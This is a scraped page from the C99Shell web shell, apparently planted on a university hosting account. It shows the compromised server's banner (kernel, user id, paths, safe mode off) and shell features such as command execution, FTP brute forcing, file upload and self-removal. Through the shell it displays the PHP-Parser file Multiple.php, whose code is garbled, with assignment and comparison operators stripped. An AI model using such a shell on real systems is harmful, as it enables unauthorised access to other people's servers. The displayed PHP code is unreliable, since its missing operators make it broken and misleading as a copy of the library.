!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/lib/PhpParser/Parser/   drwxr-xr-x
Free 116.6 GB of 200.55 GB (58.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Multiple.php (1.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Parser;

use 
PhpParser\Error;
use 
PhpParser\Parser;

class 
Multiple implements Parser {
    
/** @var Parser[] List of parsers to try, in order of preference */
    
private $parsers;
    
/** @var Error[] Errors collected during last parse */
    
private $errors;

    
/**
     * Create a parser which will try multiple parsers in an order of preference.
     *
     * Parsers will be invoked in the order they're provided to the constructor. If one of the
     * parsers runs without errors, it's output is returned. Otherwise the errors (and
     * PhpParser\Error exception) of the first parser are used.
     *
     * @param Parser[] $parsers
     */
    
public function __construct(array $parsers) {
        
$this->parsers $parsers;
        
$this->errors = [];
    }

    public function 
parse($code) {
        list(
$firstStmts$firstErrors$firstError) = $this->tryParse($this->parsers[0], $code);
        if (
$firstErrors === []) {
            
$this->errors = [];
            return 
$firstStmts;
        }

        for (
$i 1$c count($this->parsers); $i $c; ++$i) {
            list(
$stmts$errors) = $this->tryParse($this->parsers[$i], $code);
            if (
$errors === []) {
                
$this->errors = [];
                return 
$stmts;
            }
        }

        
$this->errors $firstErrors;
        if (
$firstError) {
            throw 
$firstError;
        }
        return 
$firstStmts;
    }

    public function 
getErrors() {
        return 
$this->errors;
    }

    private function 
tryParse(Parser $parser$code) {
        
$stmts null;
        
$error null;
        try {
            
$stmts $parser->parse($code);
        } catch (
Error $error) {}
        
$errors $parser->getErrors();
        return [
$stmts$errors$error];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0136 ]--